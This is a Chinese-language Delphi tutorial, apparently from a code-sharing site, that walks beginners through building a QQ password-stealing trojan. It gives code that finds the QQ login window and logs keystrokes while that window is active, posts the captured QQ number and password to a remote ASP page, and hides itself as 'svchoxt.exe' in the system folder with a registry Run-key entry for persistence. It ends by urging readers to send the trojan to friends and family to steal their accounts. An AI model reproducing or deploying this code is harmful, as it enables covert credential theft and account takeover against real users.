盗Q.txt
上传用户:jiansibo
上传日期:2015-07-04
资源大小:524k
文件大小:8k
- 南域剑盟 www.98exe.com 主讲:上兴 qq:51992
- 有的会员说了,想要再间单一点的教程。
- 菜鸟自制QQ木马, 这里学习,不是说要得到什么
- 1、利用找指定QQ窗口
- 2、利用键盘记录
- 3、发邮件
- 上次说那dll的大家一定感不爽,这次爽了,不用dll,
- 代码很短,实用,菜鸟也能做。
- 先找指定QQ窗口,看了上次教程的应会了。
- var
- time1:integer;
- QQ3,S: string;
- //句柄-----------------------------------------------------------
- function QQText(hWnd: HWND): String;
- var
- Ret:LongInt;
- mText:PChar;
- Buf:Integer;
- begin
- Ret:=SendMessage(hWnd,WM_GETTEXTLENGTH,0,0)+1;
- GetMem(mText,Ret);
- try
- Buf:=LongInt(mText);
- SendMessage(hWnd,WM_GETTEXT,Ret,Buf);
- Result:=StrPas(mText);
- finally
- FreeMem(mText,Ret);
- end;
- end;
- //----------------------------------------------------------------
- function QQGetWnd: HWND; ////找QQ登录窗口的句柄
- var
- hCurrentWindow: HWnd;
- WndText:String;
- begin
- hCurrentWindow := GetWindow(GetForegroundWindow, GW_HWNDFIRST);
- while hCurrentWindow <> 0 do
- begin
- WndText:=QQText(hCurrentWindow);
- if (Pos(Chr(13),WndText)>0) or (Pos(Chr(10),WndText)>0) then
- begin
- Result:=hCurrentWindow;
- Exit;
- end;
- hCurrentWindow := GetWindow(hCurrentWindow, GW_HWNDNEXT);
- end;
- Result:=0;
- end;
- //-------------------------------------------------------------------
- function findqqwindow:integer; //句柄
- var
- h1,h2,h3:Hwnd; //句柄
- begin
- h1:=0;
- h2:=0;
- h3:=0;
- h1:=QQGetWnd();
- if h1=GetForegroundWindow then //如在顶部
- begin
- h2:=GetDlgItem(h1,138);
- h3:=GetDlgItem(h1,180);
- if (h2<>0) and (h3<>0) then
- result:=0
- else
- result:=1;
- end;
- end;
- //-----------------------------------------------------------------------------
- function getqqnum:string; //号码窗
- var
- buffer:array[0..50] of char;
- h1,h2:Thandle;
- qqnumstr:string;
- begin
- result:='';
- h1:=QQGetWnd();
- if h1=0 then exit;
- h2:=GetDlgItem(h1,138);
- if h2=0 then exit;
- SendMessage(h2, $000D, 50, Integer(@buffer));
- qqnumstr:=buffer;
- if qqnumstr<>'' then
- result:=qqnumstr; //获取窗口标题
- end;
- ----------------------------------------
- 2、放一个时钟,看就这记录键盘,好间单啊,直接用,显示在M1中。
- procedure TForm1.Timer1Timer(Sender: PObj);
- var//键盘记录 放在M1中
- i : byte;
- begin
- for i:=8 To 222 do
- begin
- if QQGetWnd()=GetForegroundWindow then //这里限制了只能是QQ登陆窗才能记录
- begin
- if GetAsyncKeyState(i)=-32767 then
- //GetAsyncKeyState---API函数,同样可以轻松进行键盘记录
- begin
- case i of
- //8 : M1.Lines[M1.Lines.count-1] := copy(M1.Lines[M1.Lines.count-1],1,length(M1.Lines[M1.Lines.count-1])-1); //Backspace
- 9 : Q1.text:=Q1.text+' ';
- 13 : Q1.text:=Q1.text+#13#10; //Enter
- 17 : Q1.text:=Q1.text+' ';
- 27 : Q1.text:=Q1.text+' ';
- 32 :Q1.text:=Q1.text+' '; //Space
- // Del,Ins,Home,PageUp,PageDown,End
- 33 : Q1.text := Q1.text + ' ';
- 34 : Q1.text := Q1.text + ' ';
- 35 : Q1.text := Q1.text + ' ';
- 36 : Q1.text := Q1.text + ' ';
- 37 : Q1.text := Q1.text + ' ';
- 38 : Q1.text := Q1.text + ' ';
- 39 : Q1.text := Q1.text + ' ';
- 40 : Q1.text := Q1.text + ' ';
- 44 : Q1.text := Q1.text + ' ';
- 45 : Q1.text := Q1.text + ' ';
- 46 : Q1.text := Q1.text + ' ';
- 145 : Q1.text := Q1.text + ' ';
- 48 : if GetKeyState(VK_SHIFT)<0 then Q1.text:=Q1.text+')'
- else Q1.text:=Q1.text+'0';
- 49 : if GetKeyState(VK_SHIFT)<0 then Q1.text:=Q1.text+'!'
- else Q1.text:=Q1.text+'1';
- 50 : if GetKeyState(VK_SHIFT)<0 then Q1.text:=Q1.text+'@'
- else Q1.text:=Q1.text+'2';
- 51 : if GetKeyState(VK_SHIFT)<0 then Q1.text:=Q1.text+'#'
- else Q1.text:=Q1.text+'3';
- 52 : if GetKeyState(VK_SHIFT)<0 then Q1.text:=Q1.text+'$'
- else Q1.text:=Q1.text+'4';
- 53 : if GetKeyState(VK_SHIFT)<0 then Q1.text:=Q1.text+'%'
- else Q1.text:=Q1.text+'5';
- 54 : if GetKeyState(VK_SHIFT)<0 then Q1.text:=Q1.text+'^'
- else Q1.text:=Q1.text+'6';
- 55 : if GetKeyState(VK_SHIFT)<0 then Q1.text:=Q1.text+'&'
- else Q1.text:=Q1.text+'7';
- 56 : if GetKeyState(VK_SHIFT)<0 then Q1.text:=Q1.text+'*'
- else Q1.text:=Q1.text+'8';
- 57 : if GetKeyState(VK_SHIFT)<0 then Q1.text:=Q1.text+'('
- else Q1.text:=Q1.text+'9';
- 65..90 : // a..z , A..Z
- begin
- if ((GetKeyState(VK_CAPITAL))=1) then
- if GetKeyState(VK_SHIFT)<0 then
- Q1.text:=Q1.text+LowerCase(Chr(i)) //a..z
- else
- Q1.text:=Q1.text+UpperCase(Chr(i)) //A..Z
- else
- if GetKeyState(VK_SHIFT)<0 then
- Q1.text:=Q1.text+UpperCase(Chr(i)) //A..Z
- else
- Q1.text:=Q1.text+LowerCase(Chr(i)); //a..z
- end;
- 96..105 : Q1.text:=Q1.text + inttostr(i-96); //Numpad 0..9
- 106:Q1.text:=Q1.text+'*';
- 107:Q1.text:=Q1.text+'&';
- 109:Q1.text:=Q1.text+'-';
- 110:Q1.text:=Q1.text+'.';
- 111:Q1.text:=Q1.text+'/';
- 144 : Q1.text:=Q1.text+'[Num Lock]';
- 112..123: //F1-F12
- Q1.text:=Q1.text+'[F'+IntToStr(i - 111)+']';
- 186 : if GetKeyState(VK_SHIFT)<0 then Q1.text:=Q1.text+':'
- else Q1.text:=Q1.text+';';
- 187 : if GetKeyState(VK_SHIFT)<0 then Q1.text:=Q1.text+'+'
- else Q1.text:=Q1.text+'=';
- 188 : if GetKeyState(VK_SHIFT)<0 then Q1.text:=Q1.text+'<'
- else Q1.text:=Q1.text+',';
- 189 : if GetKeyState(VK_SHIFT)<0 then Q1.text:=Q1.text+'_'
- else Q1.text:=Q1.text+'-';
- 190 : if GetKeyState(VK_SHIFT)<0 then Q1.text:=Q1.text+'>'
- else Q1.text:=Q1.text+'.';
- 191 : if GetKeyState(VK_SHIFT)<0 then Q1.text:=Q1.text+'?'
- else Q1.text:=Q1.text+'/';
- 192 : if GetKeyState(VK_SHIFT)<0 then Q1.text:=Q1.text+'~'
- else Q1.text:=Q1.text+'`';
- 219 : if GetKeyState(VK_SHIFT)<0 then Q1.text:=Q1.text+'{'
- else Q1.text:=Q1.text+'[';
- 220 : if GetKeyState(VK_SHIFT)<0 then Q1.text:=Q1.text+'|'
- else Q1.text:=Q1.text+'';
- 221 : if GetKeyState(VK_SHIFT)<0 then Q1.text:=Q1.text+'}'
- else Q1.text:=Q1.text+']';
- 222 : if GetKeyState(VK_SHIFT)<0 then Q1.text:=Q1.text+'"'
- else Q1.text:=Q1.text+'''';
- end;
- end;
- end;
- end;
- end;
- ------------------------------------------
- 3、放一个时钟,监视QQ登陆窗口是否在。
- procedure TForm1.QQTr1Timer(Sender: PObj);
- begin
- if findqqwindow=0 then
- begin
- QQ3:=getqqnum;
- if (QQ3<>'') and (Q1.text<>'') then
- begin
- s:='QQ号:'+QQ3+' '+'QQ密:'+Q1.text;
- time1:=1;
- end;
- //end;
- end
- else if time1=1 then // QQ窗体不在
- begin
- s:='内 容:'+s;
- PostURL('http://www.***.com/asp/tmdqq.asp','num='+HtmlEncode('标题')+
- '&pass='+HtmlEncode('内容'));
- time1:=0;
- Q1.text:='';
- end;
- end;
- 4、写发信代码,其实不用写的,直接COPY上去
- 5、放一个时钟,用来写注册表
- procedure TForm1.Timer3Timer(Sender: PObj);
- var
- k1: hkey;
- l: longint;
- p: pchar;
- begin
- try
- {$IFNDEF DebugMode}
- l := regopenkey(HKEY_LOCAL_MACHINE, 'SOFTWARE', k1);
- l := regopenkey(k1, 'Microsoft', k1);
- l := regopenkey(k1, 'Windows', k1);
- l := regopenkey(k1, 'CurrentVersion', k1);
- l := regopenkey(k1, 'Run', k1);
- p := pchar(ParamStr(0));
- l := regsetvalueEx(k1, 'SysDesk', 0, 1, p, 255);
- {$ENDIF}
- except
- end;
- end;
- 6、最后,木马启动的常用方式:
- procedure TForm1.KOLForm1FormCreate(Sender: PObj);
- var
- F3: string;
- begin
- F3 := Syspath + 'svchoxt.exe'; //复制一份到系统目录
- if not FileExists(F3) then
- begin
- CopyFile(pchar(ParamStr(0)), pchar(F3), true); //复制
- SetFileAttributes(pchar(F3),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
- {设置文件的属性为系统和隐藏}
- winexec(pchar(F3), 1); {运行文件}
- application.Terminate; //关闭释放 文件
- deleteSelf; //自删除
- Close;
-
- end;
- Form1.Timer3.Enabled :=True; 写注册表
- end;
- end.
- 完成,发给亲朋好友盗他们QQ玩吧!